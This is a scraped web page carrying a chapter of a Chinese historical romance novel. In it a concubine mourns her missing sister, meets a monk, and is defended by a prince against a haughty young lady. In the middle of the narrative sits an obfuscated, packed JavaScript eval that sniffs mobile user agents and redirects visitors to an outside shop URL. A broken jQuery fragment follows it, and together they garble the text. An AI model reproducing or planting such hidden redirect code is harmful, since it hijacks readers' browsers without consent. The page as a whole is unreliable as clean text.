默认冷灰
24号文字
方正启体

5. 和尚与妇人

作者:于繁繁本书字数:K更新时间:
    暖和的春日里,施月容坐在这厅内,却觉体内遍生寒意。小宁收拾地上茶盏的碎片,免得割伤自家的姨娘,手背一凉,月姨娘一滴泪落下来。


    “我带着花容自街上买年货回到家中后,那伙儿人就上门来。非说要买去花容,我哪里肯,他们就拿出刀来,顶着我那老头子的脖子啊。我也实在是没办法。”祁夫人说着,还嚎啕大哭起来。


    施月容拭干泪水,环顾祁家四处可见的富贵起来,红着眼眶问她,“没办法?你怎么不去报官?怎的不去将军府找我。只怕是金钱蒙了心。”


    祁夫人仿佛被踩了脚的猫儿,“施姑娘,你不能如今攀了高枝就这样欺凌我们。那伙人拿着刀,我们这些平头百姓怎么敢动,他们走前给了我们五十两金子,说如果往外穿就让祁家灭门。那时我才知道自己有了身孕,你也知道我本就多年不育……”


    “够了。”施月容不想再听她为自己辩解,“对那些贼人可有一些记忆?”


    祁夫人想了半天,无果,“施姑娘,他们都蒙着面,我看不到一点儿真面目。只记得那些人称那个头头为‘校尉’”。


    “校尉?”施月容去白檐山的路上反复琢磨这两个字,到底是哪里的校尉要绑自己的妹妹。施家一直以来都是本分的小门小户,跟那些达官贵人一点儿边都沾不上,为何会被盯上。


    “姨娘,到了。”软轿停在白檐山脚下,小宁为她打开帘子。


    施月容当初选择将父母合葬在白檐山上,只因他们初遇在这里。


    父母过世四个月,连墓碑都有了雨露霜雪相逼的痕迹。施月容将祭品一一摆在坟前,看着未送到妹妹手中的栗子糕,泪水又蓄满了眼眶。


    “爹,娘,我把花容弄丢了,她才十岁。她一个人怎么行。”施月容抱膝坐在坟前嘟嘟囔囔说了好久,小宁听不真切,只明晰了最后一句,“你们放心,我一定会把花容找回来的。”


    施月容令王妈妈收拾好东西,正一行人准备回谢府去,她不好在外待太久,免得谢允起在府里找,连夫人会心生不满。她也得好好想想怎么找花容,谢府会帮自己找吗,能有所期待吗?


    坐在轿中思绪纷飞,轿子突然被放下,外面传来声音,“叨扰施主。”


    “小宁,发生何事?”


    “姨娘,是一个和尚,还有一位夫人和几个小厮。”小宁见这和尚年轻又极为俊朗,身边却有个美貌妇人正倚靠在山道的树上,旁边的丫鬟和小厮们脸都白了,脑子里突然联想到坊间诸如和尚与高门贵妇偷人的畅销话本子。


    施月容走出轿子给小宁后脑勺一个爆栗,只消一眼,就知道这姑娘又在瞎想。


    “不知师父有何事?”施月容双手合十,礼貌问道。


    天玑不曾想出来一个年轻女子,“唐突施主了,见怪。贫僧天玑,在这山上的无相寺修行,今日下山途中偶遇这位夫人。”


    施月容随着天玑的眼神看过去,那位夫人如今脸色苍白地靠在树上,“这位夫人为何看起来脸色如此差?”


    “白檐山这边鲜少有人,多蛇虫鼠蚁。这位夫人是被毒蛇咬了,贫僧刚刚为她清了毒血,但还须马上去山下的及草堂看看,那儿有专治的蛇药,可是她现在不宜走动,所以请借施主的轿子送这位夫人去。”


    施月容还未说话,那夫人身旁的小丫鬟气焰盛的很,“能让我家夫人坐你的轿子是你的福气。快速速抬我们夫人下山。”


    “有你这么请人帮忙的吗?”小宁直直怼回去,“不借你们又如何?”


    施月容让王妈妈按住快要跳起的小宁,虽然她也不满对面丫鬟的态度,但毕竟性命攸关,哪儿能袖手旁观。她向天玑点头说道,“师父请安排,我们跟着轿子一起步行下山。”


    下山途中,施月容与天玑时不时闲谈上几句,才知他自小就在寺中修行,跟在老方丈身后学了些医术,时常下山为穷苦的山民们诊病施针。话语夹着山间簌簌的叶声和微微呼啸的风声,她心中丢了花容的焦虑不安被消解了一些。


    这早已被天玑察觉,此时方问“施主似乎心有不安?”


    “是,而且我现在毫无头绪。”施月容双眉轻蹙,“多希望这只是一场梦。”


    天玑将被扔在道上的无名野花拾起放在身后背的篓子里,安慰她道,“既知身是梦,一任事如尘。施主放宽心,万事皆有缘法。”


    施月容眼观被树枝遮蔽的日光,轻叹,“世俗凡人确难轻易做到。”


    午后,山脚下的街上人并不多,及草堂的伙计们都在门口晒着一些陈旧药草,眼见天玑带着一位受伤夫人,赶忙让进去,着人请大夫出来看病。


    那夫人身旁的丫鬟见来的大夫年纪轻轻,也不过二十出头的样子,心生质疑,“你们这儿的大夫有行医资质吗?”


    旁边的伙计大声辩驳,“这十里八乡谁人不知我们许大夫祖传医术,治蛇毒是这天下第一手。轮得到你这个丫头说嘴。”


    那夫人摆手让丫鬟噤声,“让这位大夫治。”


    许大夫在施针治疗,施月容正欲离开,却见一个男子和那伙计吵闹起来,“你们及草堂是猪油蒙了心吧。连翘也卖这么贵,每两二十文怎么不去抢。”


    那伙计也有理的很,“赵家兄弟,这怨不得我们,是尚药监下的令,黄连、连翘等物都要高价还得有户籍才能卖,我们也不想啊。”


    那赵家兄弟摇摇头出了门,“真是怪事年年有。”


    施月容内心也不解,只是见太阳西下,也不欲多想,和天玑告辞后正要离开,那贵妇的小丫鬟却过来递上一块胭脂盒大的金色圆牌,“你帮了我家夫人,她命我把这个赠你。”


    施月容本不想收,那丫鬟却径直塞到她怀里又跑开了,只好收下。


    在日光下照着,那圆牌金光闪闪,沉甸甸的,刻有一只小猪的图案。


    小宁有些兴奋,“姨娘,这是纯金的哎!”


    主仆三人出了及草堂,却见那刚刚买药的男子在街角处被一妇人拉住,二人悄摸着说了几句话,后来那男子露出无奈的神色,掏出几个铜板给那妇人。


    小宁是个藏不住话,好奇心重的,“这是做什么呢?”


    及草堂门口收药材的伙计答道:“那是黄婶,咱们镇上有名的嚼舌根,估计忽悠姓赵的去哪儿买连翘便宜吧。”


    听这话,施月容看着黄婶鬼鬼祟祟走远的身影,若有所思。


    打道回府天色渐晚,施月容赏了些铜钱给轿夫们,令他们加紧步伐。走在道上远远就听后面传来数十匹马纷沓而来、在青石板上踏出交杂如鼓点的声音。


    施月容略撩开帘子,只见马上的少年男子皆是衣着金贵,神采奕奕,不知又是京中哪些世家子弟们。


    皇城脚下,官宦子弟多如牛毛。


    施月容觉得无趣,又是打马游街的戏码。帘子快放下时,一匹快马奔腾而过,快的施月容乍一眼只见马上男子的背影,一身白色衣衫被金色腰带束住,高高缠起的马尾随风飘扬。


    男子回头笑说,“各位我先行一步了,只怕圣上等不及我这锦鸡了。”话音还未消散,身影已经远去。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129497|196197||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小宁倒是眼尖,“这不是璟王世子吗?”


    旁边的王妈妈每日来往府中,知道的事多,便添说,“近日圣上下旨开了西郊猎场,京中的世家子弟们都可以去围猎,猎到好东西的公子们自然献进宫中去了。”


    “原来如此。”


    “只是锦鸡胆小难寻,梁世子真是好本事。”王妈妈赞叹道,凭她这一把年纪,见人无数,觉得梁弋珩比别的子弟强百倍。


    施月容放下帘子没搭话。此际来看,她就像夜幕里一粒游荡的尘埃,梁弋珩则是那最耀眼的一颗寒星,他注定与周遭的星星交相辉映。自己作为尘埃本就暗淡,如若再同星星相近,只怕是要弥散人间消失不见了。


    回到谢府,途径凉亭时,正面迎上谢允仪,想躲也躲不掉,只好挂上笑容问候,“三小姐……”


    “没事少往外跑,在家好好伺候我大哥才是正道。”谢允仪打断她的话,面色暗含着愠气,施月容猜想这是又在哪儿挨了骂。


    照往常,她就低头应是了。可是今日得知妹妹失踪,又祭拜了父母,心底那些对未来的惆怅全然浮现,施月容心里也不痛快。


    并未回应,只是静静与谢允仪对视。


    施月容的行为对谢允仪来说是一种挑衅,她刚在母亲那儿挨了一顿说,无处宣泄,就被一个姨娘顶住了,更加怒火中烧,“你这是什么眼神?我的话都不用回了吗?”


    施月容看她右手意欲煽自己耳光时,犹豫要不要躲。这一耳光下去,是不是能跟连夫人卖个惨,商量商量找花容的事情。可是看着谢允仪长长的指甲她又有点怕,会不会刮花了脸啊。


    耳颊的发丝被掌风拂动,施月容心一横,闭眼,打算接下这一巴掌,但是谢允仪的手却迟迟没有落下。


    她疑惑睁眼,梁弋珩的声音却在耳边响起,距离隔得近,说话间热气喷在耳根和后颈上,“月姨娘太不心疼自己,这一巴掌下去,估计得肿上两三日。”


    施月容回头,发现此前还在街道上纵马飞驰的男子已经站在,右手拿住了谢允仪,让她无法再使力。


    他额头略有薄汗,却显得更加有少年气,只是身后的小厮似乎累的够呛,趴在凉亭的柱子上大口喘气。


    “梁世子?”施月容着实惊讶到了,但他出手相助,心内还是感激,想施礼道谢,被他一把拦住,眼神让人摸不透“月姨娘不用如此客气,太过生疏。”


    施月容心里的困惑快速滋生,他们不就是生疏的吗,才见两三面。


    谢允仪被人拦了巴掌,还是自己心仪的男子。一时间又气又羞愧,竟说不出什么,“世子,我……”


    “谢小姐,竟是这么骄纵的一个人。实在是弋珩的意料之外。”梁弋珩轻飘飘的一句话,对谢允仪来说却是千斤重,她眼泪一下子就涌出来。


    “可明明是她先不敬我的。”这话几乎是对着梁弋珩吼出来的。


    梁弋珩冷眼望去,“于情于理,月姨娘何需敬着你?”


    “她不过是个买来的卑贱奴婢,在我谢家讨一碗饭吃。”谢允仪愤恨的看着施月容。


    施月容知道她心里一直这么想,可这是谢允仪第一次说的这么直白。她以为自己能接受这样的鄙夷,但是身体却止不住的颤抖。是因为爹娘自小的疼爱此刻从心底蔓延,不断重现,还是因为当着梁弋珩这个外人的面?或许二者皆有。她倍感屈辱与难堪。


    梁弋珩感受到身边女子的颤抖,他面色阴沉如同静水,话语间已经带上皇家的威严,“今日方知,原来谢府就是这样教养子女的。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)